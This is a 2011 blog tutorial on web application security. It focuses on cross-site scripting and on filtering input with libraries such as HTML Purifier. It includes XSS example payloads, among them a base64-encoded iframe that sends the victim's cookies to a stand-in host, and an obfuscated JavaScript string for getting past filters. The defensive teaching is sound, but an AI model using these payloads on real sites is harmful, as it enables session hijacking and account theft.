Best Practices of Web Application Security

November 11, 2011, by | Start Discussion

OVERVIEW

Web Application Security is a vast topic and time is not enough to cover all kind of malicious attacks and techniques for avoiding them, so now we will focus on one of the top 10 vulnerabilities.
Web developers work in different ways using their custom libraries and intruder prevention systems and now we’ll see what they should do and should not do based on best practices.

In “Figure 1” you see the statistics of vulnerabilities. Also, if we look at the statistics (Figure 2) of risk levels for the past 3 years we can see that in 2010 high level vulnerabilities have been increased to 66% while low level vulnerabilities have been fallen to 31%.
 

 

Figure 1

 

Figure 2

TOP 10 HIGH LEVEL VULNERABILITIES

•    Cross-Site Scripting (XSS) [2005]
•    Information leakage
•    SQL Injection [~2005]
•    Cross-Site Request Forgery [1990s]
•    ClickJacking [2008]
•    Local/Remote File Inclusion
•    Unrestricted File Uploads
•    Phishing [1987, 1996]
•    Session Hijacking [early 2000s]
•    Shell Injection

*sorted by frequently found order.

DESCRIPTION

Cross-Site Scripting is when an attacker injects his customized executable code into the webpage. It may be in any front-end scripting language (e.g. HTML, CSS, Javascript, etc.) depending on what is in the attacker's mind.

EXAMPLE

http://site.com/search.php?query=Obama”><script>alert(“XSS”);</script>

This will pop-up a javascript window showing the message “XSS”.

HOW IT WORKS

Modern web applications are very dynamic. Mostly these applications render the webpage taking data from the user input and/or from the database.

The simple example of this is search engines that show you what you are searching for.

Search result(s) for: Obama …
About 188,000,000 results (0.11 seconds)

If you trust the user input and your web application is vulnerable to XSS then the word “Obama” may be simply changed to an HTML code like –

“Obama"><img src="x.x" onerror="alert('XSS')" />”.

This will pop-up a javascript window with the message “XSS” as the “x.x” image file probably will not exist in that web server.

So, you may ask why an attacker needs this, if he can just simply put “javascript:alert(‘XSS’);” and get the same result. The fact is that he does not want to run it in his side(browser), and that script should be run on the victim’s side.

There are two types of XSS vulnerabilities –

1)    Non-persistent means attacker is able to inject the code but no changes can be done to the website.
EXAMPLE

EXAMPLE
http://site.com/view.php?category=Watches><iframe src="data:text/html;base64,PHNjcmlwdD5sb2NhdGlvbi5ocmVmPSdodHRwOi8vYmFkLmNvbS9sb2dnZXIucGhwP2Nvb2tpZT0nK2RvY3VtZW50LmNvb2tpZTs8L3NjcmlwdD4="></iframe>

This kind of an encoded javascript code  may be easily created by the attacker using online tools such as XSScalc to steal the user’s cookies. And the transformation is used to bypass some of the web application filters and mask itself.

Why cookies? -Because cookies are small pieces of information stored on the client side by the web server. For the active session those cookies will contain sensitive information about the user’s credentials and may be used as a “ticket” to access his session data in the web server.

In other words, if the above link belonged to Google and if victim's session was active then attacker could gain access to the victim’s Gmail account.

2)    Persistent. In this case the evil code is stored in the website's database, so it runs every time webpage displays the data.

The common targets are chat messages, e-mail messages, comments, wall posts, etc.

EXAMPLE

 

 

 

Figure 3

Here is an example of implementing this kind of xss attack(Figure 3).

At the first look there is nothing unusual in the second comment. But if we look at the HTML code (Figure 4), one could see that there is a javascript code embedded there, and most of the time that evil code contains some functions to steal the victim’s cookies to gain access to his/her account.

Figure 4

 

Figure 5

 

Figure 6

So, you may try to filter user input from all kind of potentially dangerous HTML tags(Figure 5), attributes(such as src, href, lowsrc, xmlns, style, etc.) or events(Figure 6). But what if the evil code looks like the following:

($=[$=[]][(____=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!”+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

This JSON code was shown in BlackHat 2009 as an interesting way to bypass XSS filters. So the previous try would fail.

SOLUTIONS

One solution is to use PHP functions like strip_tags(), filter_var() or using famous PHP libraries like HTML_Safe, kses, htmLawed, etc., but the best solution is HTML Purifier provided by OWASP.

If we look at the comparison of the above mentioned PHP functions and libraries(Figure 7), we’ll see that only HTML Purifier has all the following features – it uses a whitelist, it is well-formed, it is xss safe, uses attributes and so on..

Figure 7


Figure 8




Samvel Gevorgyan is Founder and Managing Director of CYBER GATES Information Security Consulting, Testing and Research Company and has over 5 years of experience working in the IT industry. He started his career as a web designer in 2006. Then he seriously began learning web programming and web security concepts which allowed him to gain more knowledge in web design, web programming techniques and information security.

Leave a Reply